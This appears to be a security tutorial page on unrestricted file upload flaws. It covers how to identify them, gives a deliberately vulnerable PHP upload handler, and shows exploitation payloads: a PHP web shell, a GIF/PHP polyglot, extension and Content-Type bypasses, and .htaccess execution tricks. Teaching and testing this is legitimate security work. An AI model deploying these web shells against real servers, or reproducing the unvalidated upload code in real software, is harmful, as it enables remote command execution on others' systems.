> For the complete documentation index, see [llms.txt](https://riteshs4hu.gitbook.io/infosec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://riteshs4hu.gitbook.io/infosec-notes/web-appsec/file-upload.md).

# File Upload

When an application allows users to upload files without properly validating the file’s content, type, size, or destination, attackers can exploit this to upload malicious files (e.g., web shells, scripts, or executables) which may be executed on the server or used to compromise users.

***

### How to identify

* Look for upload forms or HTTP POST endpoints accepting files
* Try uploading files with unexpected or dangerous extensions (e.g., `.php`, `.jsp`, `.asp`, `.exe`)
* Intercept and modify Content-Type headers or file extensions using a proxy
* Test for directory traversal or insecure file storage locations
* Try bypassing file extension or content-type restrictions
* Upload polyglot files (e.g., GIF + PHP) to bypass validations

***

#### Vulnerable Code (PHP)

```php
<?php
if (isset($_FILES['file'])) {
    $upload_dir = 'uploads/';
    $filename = $_FILES['file']['name'];
    $filepath = $upload_dir . $filename;

    // No checks for file type, extension, or content
    if (move_uploaded_file($_FILES['file']['tmp_name'], $filepath)) {
        echo "File uploaded successfully: $filename";
    } else {
        echo "Upload failed.";
    }
}
?>

<!-- Simple HTML form to test the upload -->
<form method="POST" enctype="multipart/form-data">
    <input type="file" name="file">
    <input type="submit" value="Upload">
</form>
```

This is vulnerable because it directly stores the uploaded file with its original name and without any validation.

***

#### Exploitation Steps

* Upload a PHP web shell

  ```php
  <?php system($_GET['cmd']); ?>
  ```
* Save the file as `shell.php` and upload it via the vulnerable form
* Access the shell in the browser

  ```bash
  http://example.com/uploads/shell.php?cmd=id
  ```
* Try bypassing restrictions by:
  * Changing file extension (e.g., `shell.php.jpg`)
  * Using double extensions (e.g., `shell.php;.jpg`)
  * Modifying `Content-Type` header in the upload request

    ```bash
    Content-Type: image/jpeg
    ```
* Use a polyglot file (valid image header + PHP code)

  ```php
  GIF89a
  <?php system($_GET['cmd']); ?>
  ```
* Try uploading `.htaccess` to allow execution of PHP in unexpected locations

  ```bash
  SetHandler application/x-httpd-php
  AddType application/x-httpd-php .jpg
  ```
